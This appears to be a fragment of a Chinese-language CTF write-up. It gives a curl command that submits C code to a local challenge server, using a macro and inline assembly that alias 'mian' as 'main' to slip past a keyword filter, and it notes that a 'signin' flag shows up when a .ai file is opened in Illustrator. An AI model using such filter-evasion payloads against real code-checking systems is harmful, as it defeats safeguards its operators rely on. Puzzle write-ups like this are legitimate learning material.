2
3
curl -X POST http://127.0.0.1:8080/submit \
-H "Content-Type: application/json" \
-d '{"code": "#define eat long\n__asm__(\".globl mai\"\"n\\n.set mai\"\"n,mian\");\nvoid preatf(const char *fmt, long n){puts(\"I eat 666 cups of mian! wwwww\");}"}'

image-20251006224122176

signin

​ 下载下来是一个.ai文件,用Adobe Illustrator打开,可以看到flag:

image-20251006222323852